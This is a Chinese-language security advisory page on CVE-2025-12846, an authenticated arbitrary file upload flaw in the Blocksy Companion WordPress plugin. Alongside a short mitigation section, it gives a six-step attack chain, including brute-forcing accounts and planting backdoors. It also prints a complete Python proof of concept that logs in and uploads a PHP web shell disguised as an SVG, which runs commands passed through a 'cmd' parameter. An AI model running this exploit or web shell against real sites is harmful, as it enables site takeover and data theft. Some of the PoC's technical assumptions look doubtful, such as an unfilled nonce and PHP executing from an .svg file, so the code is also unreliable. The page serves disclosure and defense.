IPBUF安全漏洞报告
English
CVE-2025-12846 CVSS 8.8 高危

CVE-2025-12846 Blocksy Companion插件任意文件上传漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12846
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Blocksy Companion WordPress插件

相关标签

任意文件上传RCEWordPress插件SVG绕过认证后攻击双扩展名绕过CVE-2025-12846

漏洞概述

CVE-2025-12846是WordPress平台Blocksy Companion插件中的一个高危安全漏洞。该漏洞存在于所有2.1.19及以前版本中,由于插件对SVG文件类型的验证不足,允许攻击者通过双扩展名文件(如shell.php.svg)绕过安全检测,上传任意文件到服务器。攻击者成功利用此漏洞可实现远程代码执行(RCE),完全控制受影响的WordPress网站。漏洞需要攻击者拥有作者(Author)级别或更高的账户权限,属于认证后的攻击场景。由于WordPress插件的广泛使用,该漏洞可能影响大量网站安全。

技术细节

该漏洞的根本原因在于Blocksy Companion插件的SVG文件上传处理逻辑存在缺陷。插件仅通过文件扩展名判断是否为SVG文件,而未对文件内容进行严格的MIME类型验证和内容分析。攻击者可以构造包含恶意代码的双扩展名文件(如evil.jpg.svg或shell.php.svg),利用SVG文件格式的灵活性嵌入PHP代码或其他恶意脚本。由于插件错误地接受此类文件并保存到服务器可访问目录,攻击者随后可通过直接访问上传的文件触发代码执行。攻击利用流程包括:1)使用有效凭证登录WordPress;2)构造恶意文件;3)通过插件上传接口提交文件;4)访问上传文件路径执行代码。整个攻击过程无需用户交互,但需要至少Author权限。

攻击链分析

STEP 1
信息收集
扫描目标WordPress站点,确认安装了Blocksy Companion插件且版本<=2.1.19
STEP 2
账户获取
通过社会工程、凭证填充或暴力破解获取Author级别或更高权限的WordPress账户
STEP 3
构造恶意文件
创建包含PHP代码的SVG文件或双扩展名文件(如shell.php.svg),绕过文件类型检测
STEP 4
上传文件
使用Author权限登录WordPress,通过Blocksy Companion的SVG上传功能上传恶意文件
STEP 5
代码执行
通过HTTP请求访问上传的恶意文件路径,触发PHP代码执行,实现RCE
STEP 6
持久化控制
利用获得的服务器权限部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12846 PoC - Blocksy Companion SVG File Upload # Target: WordPress site with Blocksy Companion plugin <= 2.1.19 def create_malicious_svg(): """Create malicious SVG file with embedded PHP code""" svg_content = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <script type="text/javascript"> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } ?> </script> </svg>''' return svg_content def upload_payload(target_url, username, password, filename='shell.php.svg'): """Upload malicious SVG file via Blocksy Companion""" session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) # Upload malicious file via Blocksy Companion SVG upload endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': (filename, create_malicious_svg(), 'image/svg+xml') } data = { 'action': 'ct_companion_upload_svg', 'nonce': 'your_nonce_here' # Need to get valid nonce first } resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200: print(f"[+] File uploaded successfully: {filename}") print(f"[+] Access payload at: {target_url}/wp-content/uploads/{filename}") print(f"[+] Execute command: ?cmd=whoami") else: print(f"[-] Upload failed: {resp.text}") if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_payload(target, user, pwd)

影响范围

Blocksy Companion <= 2.1.19

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)禁用Blocksy Companion插件或相关SVG上传功能;2)修改服务器配置,禁止uploads目录下的PHP文件执行(添加.htaccess规则或nginx配置);3)移除所有非管理员用户的文件上传权限;4)部署WAF规则阻断SVG文件上传请求。建议优先升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表